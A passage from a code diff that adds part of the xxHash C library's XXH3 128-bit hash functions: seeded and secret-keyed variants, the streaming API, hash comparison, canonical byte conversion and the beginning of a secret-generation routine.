XXH_RESTRICT input, size_t len, + XXH64_hash_t seed64, + XXH3_f_accumulate f_acc, + XXH3_f_scrambleAcc f_scramble, + XXH3_f_initCustomSecret f_initSec) +{ + if (seed64 == 0) + return XXH3_hashLong_128b_internal(input, len, + XXH3_kSecret, sizeof(XXH3_kSecret), + f_acc, f_scramble); + { XXH_ALIGN(XXH_SEC_ALIGN) xxh_u8 secret[XXH_SECRET_DEFAULT_SIZE]; + f_initSec(secret, seed64); + return XXH3_hashLong_128b_internal(input, len, (const xxh_u8*)secret, sizeof(secret), + f_acc, f_scramble); + } +} + +/* + * It's important for performance that XXH3_hashLong is not inlined. + */ +XXH_NO_INLINE XXH128_hash_t +XXH3_hashLong_128b_withSeed(const void* input, size_t len, + XXH64_hash_t seed64, const void* XXH_RESTRICT secret, size_t secretLen) +{ + (void)secret; (void)secretLen; + return XXH3_hashLong_128b_withSeed_internal(input, len, seed64, + XXH3_accumulate, XXH3_scrambleAcc, XXH3_initCustomSecret); +} + +typedef XXH128_hash_t (*XXH3_hashLong128_f)(const void* XXH_RESTRICT, size_t, + XXH64_hash_t, const void* XXH_RESTRICT, size_t); + +XXH_FORCE_INLINE XXH128_hash_t +XXH3_128bits_internal(const void* input, size_t len, + XXH64_hash_t seed64, const void* XXH_RESTRICT secret, size_t secretLen, + XXH3_hashLong128_f f_hl128) +{ + XXH_ASSERT(secretLen >= XXH3_SECRET_SIZE_MIN); + /* + * If an action is to be taken if `secret` conditions are not respected, + * it should be done here. + * For now, it's a contract pre-condition. + * Adding a check and a branch here would cost performance at every hash. + */ + if (len <= 16) + return XXH3_len_0to16_128b((const xxh_u8*)input, len, (const xxh_u8*)secret, seed64); + if (len <= 128) + return XXH3_len_17to128_128b((const xxh_u8*)input, len, (const xxh_u8*)secret, secretLen, seed64); + if (len <= XXH3_MIDSIZE_MAX) + return XXH3_len_129to240_128b((const xxh_u8*)input, len, (const xxh_u8*)secret, secretLen, seed64); + return f_hl128(input, len, seed64, secret, secretLen); +} + + +/* === Public XXH128 API === */ + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH128_hash_t XXH3_128bits(XXH_NOESCAPE const void* input, size_t len) +{ + return XXH3_128bits_internal(input, len, 0, + XXH3_kSecret, sizeof(XXH3_kSecret), + XXH3_hashLong_128b_default); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH128_hash_t +XXH3_128bits_withSecret(XXH_NOESCAPE const void* input, size_t len, XXH_NOESCAPE const void* secret, size_t secretSize) +{ + return XXH3_128bits_internal(input, len, 0, + (const xxh_u8*)secret, secretSize, + XXH3_hashLong_128b_withSecret); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH128_hash_t +XXH3_128bits_withSeed(XXH_NOESCAPE const void* input, size_t len, XXH64_hash_t seed) +{ + return XXH3_128bits_internal(input, len, seed, + XXH3_kSecret, sizeof(XXH3_kSecret), + XXH3_hashLong_128b_withSeed); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH128_hash_t +XXH3_128bits_withSecretandSeed(XXH_NOESCAPE const void* input, size_t len, XXH_NOESCAPE const void* secret, size_t secretSize, XXH64_hash_t seed) +{ + if (len <= XXH3_MIDSIZE_MAX) + return XXH3_128bits_internal(input, len, seed, XXH3_kSecret, sizeof(XXH3_kSecret), NULL); + return XXH3_hashLong_128b_withSecret(input, len, seed, secret, secretSize); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH128_hash_t +XXH128(XXH_NOESCAPE const void* input, size_t len, XXH64_hash_t seed) +{ + return XXH3_128bits_withSeed(input, len, seed); +} + + +/* === XXH3 128-bit streaming === */ +#ifndef XXH_NO_STREAM +/* + * All initialization and update functions are identical to 64-bit streaming variant. + * The only difference is the finalization routine. + */ + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_128bits_reset(XXH_NOESCAPE XXH3_state_t* statePtr) +{ + return XXH3_64bits_reset(statePtr); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_128bits_reset_withSecret(XXH_NOESCAPE XXH3_state_t* statePtr, XXH_NOESCAPE const void* secret, size_t secretSize) +{ + return XXH3_64bits_reset_withSecret(statePtr, secret, secretSize); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_128bits_reset_withSeed(XXH_NOESCAPE XXH3_state_t* statePtr, XXH64_hash_t seed) +{ + return XXH3_64bits_reset_withSeed(statePtr, seed); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_128bits_reset_withSecretandSeed(XXH_NOESCAPE XXH3_state_t* statePtr, XXH_NOESCAPE const void* secret, size_t secretSize, XXH64_hash_t seed) +{ + return XXH3_64bits_reset_withSecretandSeed(statePtr, secret, secretSize, seed); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_128bits_update(XXH_NOESCAPE XXH3_state_t* state, XXH_NOESCAPE const void* input, size_t len) +{ + return XXH3_update_regular(state, input, len); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH128_hash_t XXH3_128bits_digest (XXH_NOESCAPE const XXH3_state_t* state) +{ + const unsigned char* const secret = (state->extSecret == NULL) ? state->customSecret : state->extSecret; + if (state->totalLen > XXH3_MIDSIZE_MAX) { + XXH_ALIGN(XXH_ACC_ALIGN) XXH64_hash_t acc[XXH_ACC_NB]; + XXH3_digest_long(acc, state, secret); + XXH_ASSERT(state->secretLimit + XXH_STRIPE_LEN >= sizeof(acc) + XXH_SECRET_MERGEACCS_START); + return XXH3_finalizeLong_128b(acc, secret, state->secretLimit + XXH_STRIPE_LEN, (xxh_u64)state->totalLen); + } + /* len <= XXH3_MIDSIZE_MAX : short code */ + if (state->useSeed) + return XXH3_128bits_withSeed(state->buffer, (size_t)state->totalLen, state->seed); + return XXH3_128bits_withSecret(state->buffer, (size_t)(state->totalLen), + secret, state->secretLimit + XXH_STRIPE_LEN); +} +#endif /* !XXH_NO_STREAM */ +/* 128-bit utility functions */ + +/* return : 1 is equal, 0 if different */ +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API int XXH128_isEqual(XXH128_hash_t h1, XXH128_hash_t h2) +{ + /* note : XXH128_hash_t is compact, it has no padding byte */ + return !(XXH_memcmp(&h1, &h2, sizeof(h1))); +} + +/* This prototype is compatible with stdlib's qsort(). + * @return : >0 if *h128_1 > *h128_2 + * <0 if *h128_1 < *h128_2 + * =0 if *h128_1 == *h128_2 */ +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API int XXH128_cmp(XXH_NOESCAPE const void* h128_1, XXH_NOESCAPE const void* h128_2) +{ + XXH128_hash_t const h1 = *(const XXH128_hash_t*)h128_1; + XXH128_hash_t const h2 = *(const XXH128_hash_t*)h128_2; + int const hcmp = (h1.high64 > h2.high64) - (h2.high64 > h1.high64); + /* note : bets that, in most cases, hash values are different */ + if (hcmp) return hcmp; + return (h1.low64 > h2.low64) - (h2.low64 > h1.low64); +} + + +/*====== Canonical representation ======*/ +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API void +XXH128_canonicalFromHash(XXH_NOESCAPE XXH128_canonical_t* dst, XXH128_hash_t hash) +{ + XXH_STATIC_ASSERT(sizeof(XXH128_canonical_t) == sizeof(XXH128_hash_t)); + if (XXH_CPU_LITTLE_ENDIAN) { + hash.high64 = XXH_swap64(hash.high64); + hash.low64 = XXH_swap64(hash.low64); + } + XXH_memcpy(dst, &hash.high64, sizeof(hash.high64)); + XXH_memcpy((char*)dst + sizeof(hash.high64), &hash.low64, sizeof(hash.low64)); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH128_hash_t +XXH128_hashFromCanonical(XXH_NOESCAPE const XXH128_canonical_t* src) +{ + XXH128_hash_t h; + h.high64 = XXH_readBE64(src); + h.low64 = XXH_readBE64(src->digest + 8); + return h; +} + + + +/* ========================================== + * Secret generators + * ========================================== + */ +#define XXH_MIN(x, y) (((x) > (y)) ? (y) : (x)) + +XXH_FORCE_INLINE void XXH3_combine16(void* dst, XXH128_hash_t h128) +{ + XXH_writeLE64( dst, XXH_readLE64(dst) ^ h128.low64 ); + XXH_writeLE64( (char*)dst+8, XXH_readLE64((char*)dst+8) ^ h128.high64 ); +} + +/*! @ingroup XXH3_family */ +XXH_PUBLIC_API XXH_errorcode +XXH3_generateSecret(XXH_NOESCAPE void* secretBuffer, size_t secretSize, XXH_NOESCAPE const void* customSeed, size_t customSeedSize) +{ +#if (XXH_DEBUGLEVEL >= 1) + XXH_ASSERT(secretBuffer != NULL); + XXH_ASSERT(secretSize >= XXH3_SECRET_SIZE_MIN); +#else + /* production mode, assert() are disabled */ + if (secretBuffer == NULL) return XXH_ERROR; + if (secretSize < XXH3_SECRET_SIZE_MIN) return XXH_ERROR; +#endif + + if (customSeedSize == 0) { + customSeed = XXH3_kSecret; + customSeedSize = XXH_SECRET_DEFAULT_SIZE; + } +#if (XXH_DEBUGLEVEL >= 1) + XXH_ASSERT(customSeed != NULL); +#else + if (customSeed == NULL) return XXH_ERROR; +#endif + + /* Fill secretBuffer with a copy of customSeed - repeat as needed */ + { size_t pos = 0; + while (pos < secretSize) { + size_t const toCopy = XXH_MIN((secretSize - pos), customSeedSize); + XXH_memcpy((char*)secretBuffer + pos, customSeed, toCopy); + pos += toCopy; + } } + + { size_t const nbSeg16 = secretSize / 16; + size_t n; + XXH128_canonical_t scrambler; + XXH128_canonicalFromHash(&scrambler, XXH128(customSeed, customSeedSize, 0)); + for (n=0; n